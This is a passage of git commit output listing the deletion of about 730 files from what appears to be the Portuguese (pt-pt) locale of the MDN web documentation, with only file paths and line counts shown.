.../reference/global_objects/array/join/index.html | 90 - .../reference/global_objects/array/map/index.html | 366 -- .../reference/global_objects/array/pop/index.html | 96 - .../global_objects/array/reverse/index.html | 133 - .../global_objects/array/slice/index.html | 154 - .../global_objects/arraybuffer/index.html | 219 - .../global_objects/asyncfunction/index.html | 124 - .../reference/global_objects/boolean/index.html | 156 - .../reference/global_objects/encodeuri/index.html | 152 - .../global_objects/function/arguments/index.html | 88 - .../global_objects/function/call/index.html | 164 - .../reference/global_objects/function/index.html | 192 - .../javascript/reference/global_objects/index.html | 173 - .../reference/global_objects/infinity/index.html | 69 - .../reference/global_objects/math/ceil/index.html | 161 - .../reference/global_objects/math/index.html | 214 - .../reference/global_objects/number/index.html | 213 - .../global_objects/number/isfinite/index.html | 126 - .../global_objects/number/isinteger/index.html | 125 - .../global_objects/number/isnan/index.html | 136 - .../global_objects/number/max_value/index.html | 119 - .../global_objects/number/min_value/index.html | 121 - .../reference/global_objects/number/nan/index.html | 103 - .../number/negative_infinity/index.html | 91 - .../global_objects/number/tostring/index.html | 146 - .../object/hasownproperty/index.html | 187 - .../reference/global_objects/object/index.html | 184 - .../reference/global_objects/string/index.html | 326 -- .../global_objects/string/indexof/index.html | 191 - .../global_objects/string/length/index.html | 125 - .../global_objects/string/trim/index.html | 139 - .../global_objects/symbol/hasinstance/index.html | 114 - .../reference/global_objects/symbol/index.html | 458 -- files/pt-pt/web/javascript/reference/index.html | 307 -- .../reference/operators/comma_operator/index.html | 95 - .../reference/operators/function/index.html | 140 - .../web/javascript/reference/operators/index.html | 310 -- .../operators/operator_precedence/index.html | 462 -- .../reference/statements/block/index.html | 117 - .../javascript/reference/statements/for/index.html | 146 - .../web/javascript/reference/statements/index.html | 151 - .../reference/statements/return/index.html | 149 - .../reference/statements/throw/index.html | 272 - files/pt-pt/web/javascript/shells/index.html | 30 - files/pt-pt/web/manifest/index.html | 121 - files/pt-pt/web/mathml/attribute/index.html | 481 -- files/pt-pt/web/mathml/attribute/values/index.html | 154 - files/pt-pt/web/mathml/authoring/index.html | 350 -- files/pt-pt/web/mathml/element/index.html | 234 - files/pt-pt/web/mathml/element/maction/index.html | 124 - files/pt-pt/web/mathml/element/math/index.html | 161 - files/pt-pt/web/mathml/element/menclose/index.html | 196 - files/pt-pt/web/mathml/element/merror/index.html | 73 - files/pt-pt/web/mathml/element/mfenced/index.html | 81 - files/pt-pt/web/mathml/element/mfrac/index.html | 92 - files/pt-pt/web/mathml/element/mi/index.html | 114 - .../web/mathml/element/mmultiscripts/index.html | 131 - files/pt-pt/web/mathml/element/mn/index.html | 116 - files/pt-pt/web/mathml/element/mo/index.html | 171 - files/pt-pt/web/mathml/element/mover/index.html | 91 - files/pt-pt/web/mathml/element/mpadded/index.html | 96 - files/pt-pt/web/mathml/element/mphantom/index.html | 80 - files/pt-pt/web/mathml/element/mroot/index.html | 78 - files/pt-pt/web/mathml/element/mrow/index.html | 95 - files/pt-pt/web/mathml/element/ms/index.html | 112 - files/pt-pt/web/mathml/element/mspace/index.html | 88 - files/pt-pt/web/mathml/element/msqrt/index.html | 77 - files/pt-pt/web/mathml/element/mstyle/index.html | 126 - files/pt-pt/web/mathml/element/msub/index.html | 85 - files/pt-pt/web/mathml/element/msubsup/index.html | 89 - files/pt-pt/web/mathml/element/msup/index.html | 85 - files/pt-pt/web/mathml/element/mtable/index.html | 140 - files/pt-pt/web/mathml/element/mtd/index.html | 75 - files/pt-pt/web/mathml/element/mtext/index.html | 113 - files/pt-pt/web/mathml/element/mtr/index.html | 71 - files/pt-pt/web/mathml/element/munder/index.html | 91 - .../pt-pt/web/mathml/element/munderover/index.html | 91 - .../pt-pt/web/mathml/element/semantics/index.html | 127 - .../deriving_the_quadratic_formula/index.html | 18 - files/pt-pt/web/mathml/examples/index.html | 22 - .../examples/mathml_pythagorean_theorem/index.html | 20 - files/pt-pt/web/mathml/index.html | 72 - files/pt-pt/web/mathml/index/index.html | 11 - files/pt-pt/web/opensearch/index.html | 149 - .../developer_guide/index.html | 78 - files/pt-pt/web/progressive_web_apps/index.html | 107 - .../responsive/media_types/index.html | 434 -- .../responsive_design_building_blocks/index.html | 429 -- files/pt-pt/web/reference/api/index.html | 57 - files/pt-pt/web/reference/index.html | 28 - files/pt-pt/web/security/index.html | 17 - .../web/security/insecure_passwords/index.html | 158 - .../index.html | 31 - files/pt-pt/web/security/mixed_content/index.html | 81 - .../web/security/same-origin_policy/index.html | 264 - .../pt-pt/web/security/secure_contexts/index.html | 202 - .../index.html | 302 -- files/pt-pt/web/svg/element/index.html | 298 -- files/pt-pt/web/svg/index.html | 95 - .../svg/namespaces_crash_course/example/index.html | 395 -- .../web/svg/namespaces_crash_course/index.html | 266 - .../web/svg/svg_animation_with_smil/index.html | 126 - files/pt-pt/web/svg/tutorial/index.html | 32 - .../pt-pt/web/svg/tutorial/introduction/index.html | 53 - .../pt-pt/web/svg/tutorial/svg_and_css/index.html | 216 - .../tutorial/svg_in_html_introduction/index.html | 180 - files/pt-pt/web/tutorials/index.html | 253 - files/pt-pt/web/web_components/index.html | 227 - files/pt-pt/web/xml/index.html | 15 - files/pt-pt/web/xml/xml_introduction/index.html | 205 - files/pt-pt/web/xslt/index.html | 56 - files/pt-pt/webassembly/index.html | 115 - .../using_the_javascript_api/index.html | 258 - 730 files changed, 120962 deletions(-) delete mode 100644 files/pt-pt/_redirects.txt delete mode 100644 files/pt-pt/_wikihistory.json delete mode 100644 files/pt-pt/conflicting/glossary/api/index.html delete mode 100644 files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html delete mode 100644 files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html delete mode 100644 files/pt-pt/conflicting/mdn/contribute/index.html delete mode 100644 files/pt-pt/conflicting/web/api/index.html delete mode 100644 files/pt-pt/conflicting/web/api/web_storage_api/index.html delete mode 100644 files/pt-pt/conflicting/web/api/xmlhttprequest/index.html delete mode 100644 files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html delete mode 100644 files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html delete mode 100644 files/pt-pt/conflicting/web/progressive_web_apps/index.html delete mode 100644 files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html delete mode 100644 files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html delete mode 100644 files/pt-pt/games/index.html delete mode 100644 files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html delete mode 100644 files/pt-pt/games/tutorials/index.html delete mode 100644 files/pt-pt/glossary/404/index.html delete mode 100644 files/pt-pt/glossary/502/index.html delete mode 100644 files/pt-pt/glossary/accessibility/index.html delete mode 100644 files/pt-pt/glossary/ajax/index.html delete mode 100644 files/pt-pt/glossary/api/index.html delete mode 100644 files/pt-pt/glossary/argument/index.html delete mode 100644 files/pt-pt/glossary/aria/index.html delete mode 100644 files/pt-pt/glossary/bigint/index.html delete mode 100644 files/pt-pt/glossary/block_cipher_mode_of_operation/index.html delete mode 100644 files/pt-pt/glossary/boolean/index.html delete mode 100644 files/pt-pt/glossary/browser/index.html delete mode 100644 files/pt-pt/glossary/cache/index.html delete mode 100644 files/pt-pt/glossary/cia/index.html delete mode 100644 files/pt-pt/glossary/compile/index.html delete mode 100644 files/pt-pt/glossary/crlf/index.html delete mode 100644 files/pt-pt/glossary/cross_axis/index.html delete mode 100644 files/pt-pt/glossary/crud/index.html delete mode 100644 files/pt-pt/glossary/dhtml/index.html delete mode 100644 files/pt-pt/glossary/dom/index.html delete mode 100644 files/pt-pt/glossary/ecma/index.html delete mode 100644 files/pt-pt/glossary/element/index.html delete mode 100644 files/pt-pt/glossary/engine/index.html delete mode 100644 files/pt-pt/glossary/entity_header/index.html delete mode 100644 files/pt-pt/glossary/favicon/index.html delete mode 100644 files/pt-pt/glossary/flexbox/index.html delete mode 100644 files/pt-pt/glossary/git/index.html delete mode 100644 files/pt-pt/glossary/gzip_compression/index.html delete mode 100644 files/pt-pt/glossary/html/index.html delete mode 100644 files/pt-pt/glossary/hypertext/index.html delete mode 100644 files/pt-pt/glossary/iana/index.html delete mode 100644 files/pt-pt/glossary/idempotent/index.html delete mode 100644 files/pt-pt/glossary/index.html delete mode 100644 files/pt-pt/glossary/indexeddb/index.html delete mode 100644 files/pt-pt/glossary/isp/index.html delete mode 100644 files/pt-pt/glossary/lazy_load/index.html delete mode 100644 files/pt-pt/glossary/localization/index.html delete mode 100644 files/pt-pt/glossary/main_axis/index.html delete mode 100644 files/pt-pt/glossary/metadata/index.html delete mode 100644 files/pt-pt/glossary/mitm/index.html delete mode 100644 files/pt-pt/glossary/node.js/index.html delete mode 100644 files/pt-pt/glossary/object/index.html delete mode 100644 files/pt-pt/glossary/object_reference/index.html delete mode 100644 files/pt-pt/glossary/oop/index.html delete mode 100644 files/pt-pt/glossary/ota/index.html delete mode 100644 files/pt-pt/glossary/polyfill/index.html delete mode 100644 files/pt-pt/glossary/prototype-based_programming/index.html delete mode 100644 files/pt-pt/glossary/scm/index.html delete mode 100644 files/pt-pt/glossary/server/index.html delete mode 100644 files/pt-pt/glossary/signature/index.html delete mode 100644 files/pt-pt/glossary/tag/index.html delete mode 100644 files/pt-pt/glossary/utf-8/index.html delete mode 100644 files/pt-pt/glossary/value/index.html delete mode 100644 files/pt-pt/glossary/viewport/index.html delete mode 100644 files/pt-pt/glossary/visual_viewport/index.html delete mode 100644 files/pt-pt/glossary/webextensions/index.html delete mode 100644 files/pt-pt/glossary/webrtc/index.html delete mode 100644 files/pt-pt/glossary/webvtt/index.html delete mode 100644 files/pt-pt/glossary/whatwg/index.html delete mode 100644 files/pt-pt/glossary/world_wide_web/index.html delete mode 100644 files/pt-pt/glossary/wrapper/index.html delete mode 100644 files/pt-pt/glossary/xhtml/index.html delete mode 100644 files/pt-pt/glossary/xml/index.html delete mode 100644 files/pt-pt/learn/accessibility/index.html delete mode 100644 files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html delete mode 100644 files/pt-pt/learn/common_questions/index.html delete mode 100644 files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html delete mode 100644 files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html delete mode 100644 files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html delete mode 100644 files/pt-pt/learn/common_questions/what_is_a_url/index.html delete mode 100644 files/pt-pt/learn/common_questions/what_is_a_web_server/index.html delete mode 100644 files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html delete mode 100644 files/pt-pt/learn/css/building_blocks/index.html delete mode 100644 files/pt-pt/learn/css/building_blocks/selectors/index.html delete mode 100644 files/pt-pt/learn/css/building_blocks/styling_tables/index.html delete mode 100644 files/pt-pt/learn/css/building_blocks/values_and_units/index.html delete mode 100644 files/pt-pt/learn/css/css_layout/index.html delete mode 100644 files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html delete mode 100644 files/pt-pt/learn/css/first_steps/how_css_works/index.html delete mode 100644 files/pt-pt/learn/css/first_steps/index.html delete mode 100644 files/pt-pt/learn/css/howto/css_faq/index.html delete mode 100644 files/pt-pt/learn/css/howto/generated_content/index.html delete mode 100644 files/pt-pt/learn/css/howto/index.html delete mode 100644 files/pt-pt/learn/css/index.html delete mode 100644 files/pt-pt/learn/css/styling_text/fundamentals/index.html delete mode 100644 files/pt-pt/learn/css/styling_text/index.html delete mode 100644 files/pt-pt/learn/css/styling_text/styling_lists/index.html delete mode 100644 files/pt-pt/learn/front-end_web_developer/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html delete mode 100644 files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html delete mode 100644 files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html delete mode 100644 files/pt-pt/learn/html/howto/index.html delete mode 100644 files/pt-pt/learn/html/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/getting_started/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html delete mode 100644 files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html delete mode 100644 files/pt-pt/learn/html/multimedia_and_embedding/index.html delete mode 100644 files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html delete mode 100644 files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html delete mode 100644 files/pt-pt/learn/html/tables/advanced/index.html delete mode 100644 files/pt-pt/learn/html/tables/basics/index.html delete mode 100644 files/pt-pt/learn/html/tables/index.html delete mode 100644 files/pt-pt/learn/html/tables/structuring_planet_data/index.html delete mode 100644 files/pt-pt/learn/index.html delete mode 100644 files/pt-pt/learn/index/index.html delete mode 100644 files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html delete mode 100644 files/pt-pt/learn/javascript/first_steps/index.html delete mode 100644 files/pt-pt/learn/javascript/index.html delete mode 100644 files/pt-pt/learn/server-side/django/index.html delete mode 100644 files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html delete mode 100644 files/pt-pt/learn/server-side/express_nodejs/index.html delete mode 100644 files/pt-pt/learn/server-side/express_nodejs/introduction/index.html delete mode 100644 files/pt-pt/learn/server-side/index.html delete mode 100644 files/pt-pt/learn/server-side/node_server_without_framework/index.html delete mode 100644 files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html delete mode 100644 files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html delete mode 100644 files/pt-pt/learn/tools_and_testing/index.html delete mode 100644 files/pt-pt/mdn/about/index.html delete mode 100644 files/pt-pt/mdn/at_ten/history_of_mdn/index.html delete mode 100644 files/pt-pt/mdn/at_ten/index.html delete mode 100644 files/pt-pt/mdn/contribute/feedback/index.html delete mode 100644 files/pt-pt/mdn/contribute/getting_started/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/report_a_problem/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/tag/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html delete mode 100644 files/pt-pt/mdn/contribute/index.html delete mode 100644 files/pt-pt/mdn/guidelines/conventions_definitions/index.html delete mode 100644 files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html delete mode 100644 files/pt-pt/mdn/guidelines/index.html delete mode 100644 files/pt-pt/mdn/guidelines/writing_style_guide/index.html delete mode 100644 files/pt-pt/mdn/index.html delete mode 100644 files/pt-pt/mdn/structures/index.html delete mode 100644 files/pt-pt/mdn/structures/live_samples/index.html delete mode 100644 files/pt-pt/mdn/structures/macros/index.html delete mode 100644 files/pt-pt/mdn/tools/index.html delete mode 100644 files/pt-pt/mdn/tools/kumascript/index.html delete mode 100644 files/pt-pt/mdn/yari/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/examples/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/tips/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html delete mode 100644 files/pt-pt/mozilla/firefox/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/1.5/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/2/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/3.5/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/3.6/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/3/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/4/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/5/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/6/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/70/index.html delete mode 100644 files/pt-pt/mozilla/firefox/releases/index.html delete mode 100644 files/pt-pt/mozilla/index.html delete mode 100644 "files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" delete mode 100644 files/pt-pt/orphaned/componentes/index.html delete mode 100644 "files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" delete mode 100644 "files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" delete mode 100644 files/pt-pt/orphaned/controles_xul/index.html delete mode 100644 files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html delete mode 100644 files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html delete mode 100644 files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html delete mode 100644 "files/pt-pt/orphaned/faq_extens\303\265es/index.html" delete mode 100644 files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html delete mode 100644 "files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" delete mode 100644 files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html delete mode 100644 files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html delete mode 100644 "files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" delete mode 100644 files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html delete mode 100644 files/pt-pt/orphaned/mdn/community/conversations/index.html delete mode 100644 files/pt-pt/orphaned/mdn/community/doc_sprints/index.html delete mode 100644 files/pt-pt/orphaned/mdn/community/index.html delete mode 100644 files/pt-pt/orphaned/mdn/community/whats_happening/index.html delete mode 100644 files/pt-pt/orphaned/mdn/community/working_in_community/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html delete mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html delete mode 100644 files/pt-pt/orphaned/mdn/editor/basics/index.html delete mode 100644 files/pt-pt/orphaned/mdn/editor/index.html delete mode 100644 files/pt-pt/orphaned/mdn/structures/api_references/index.html delete mode 100644 files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html delete mode 100644 files/pt-pt/orphaned/mdn/tools/page_watching/index.html delete mode 100644 files/pt-pt/orphaned/mdn/tools/template_editing/index.html delete mode 100644 files/pt-pt/orphaned/mdn/troubleshooting/index.html delete mode 100644 files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html delete mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html delete mode 100644 files/pt-pt/orphaned/o_dom_e_o_javascript/index.html delete mode 100644 files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html delete mode 100644 "files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" delete mode 100644 "files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" delete mode 100644 files/pt-pt/orphaned/sobre_o_document_object_model/index.html delete mode 100644 files/pt-pt/orphaned/tinderbox/index.html delete mode 100644 files/pt-pt/orphaned/toolkit_api/index.html delete mode 100644 files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html delete mode 100644 files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html delete mode 100644 files/pt-pt/orphaned/tools/add-ons/index.html delete mode 100644 files/pt-pt/orphaned/transformar_xml_com_xslt/index.html delete mode 100644 files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html delete mode 100644 files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html delete mode 100644 files/pt-pt/orphaned/tutorial_do_canvas/index.html delete mode 100644 "files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" delete mode 100644 "files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" delete mode 100644 files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html delete mode 100644 files/pt-pt/orphaned/tutorial_xul/index.html delete mode 100644 "files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" delete mode 100644 files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html delete mode 100644 "files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" delete mode 100644 "files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" delete mode 100644 files/pt-pt/orphaned/utilizando_meta_tags/index.html delete mode 100644 files/pt-pt/orphaned/venkman/index.html delete mode 100644 "files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" delete mode 100644 files/pt-pt/orphaned/web/guide/events/index.html delete mode 100644 files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html delete mode 100644 "files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" delete mode 100644 files/pt-pt/orphaned/web/javascript/guia/sobre/index.html delete mode 100644 "files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" delete mode 100644 "files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" delete mode 100644 files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html delete mode 100644 files/pt-pt/orphaned/web/mathml/element/mglyph/index.html delete mode 100644 files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html delete mode 100644 files/pt-pt/orphaned/web/xslt/comunidade/index.html delete mode 100644 files/pt-pt/orphaned/web/xslt/elementos/index.html delete mode 100644 files/pt-pt/orphaned/xforms/controles_customizados/index.html delete mode 100644 files/pt-pt/orphaned/xforms/index.html delete mode 100644 files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html delete mode 100644 files/pt-pt/orphaned/xml_no_mozilla/index.html delete mode 100644 files/pt-pt/orphaned/xpath/eixos/index.html delete mode 100644 "files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" delete mode 100644 files/pt-pt/plugins/flash_to_html5/index.html delete mode 100644 files/pt-pt/tools/about_colon_debugging/index.html delete mode 100644 files/pt-pt/tools/debugger/how_to/index.html delete mode 100644 files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html delete mode 100644 files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html delete mode 100644 files/pt-pt/tools/debugger/index.html delete mode 100644 files/pt-pt/tools/debugger/source_map_errors/index.html delete mode 100644 files/pt-pt/tools/debugger/ui_tour/index.html delete mode 100644 files/pt-pt/tools/index.html delete mode 100644 files/pt-pt/tools/keyboard_shortcuts/index.html delete mode 100644 files/pt-pt/tools/memory/index.html delete mode 100644 files/pt-pt/tools/network_monitor/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html delete mode 100644 files/pt-pt/tools/page_inspector/index.html delete mode 100644 files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html delete mode 100644 files/pt-pt/tools/page_inspector/ui_tour/index.html delete mode 100644 files/pt-pt/tools/performance/call_tree/index.html delete mode 100644 files/pt-pt/tools/performance/frame_rate/index.html delete mode 100644 files/pt-pt/tools/performance/how_to/index.html delete mode 100644 files/pt-pt/tools/performance/index.html delete mode 100644 files/pt-pt/tools/performance/ui_tour/index.html delete mode 100644 files/pt-pt/tools/performance/waterfall/index.html delete mode 100644 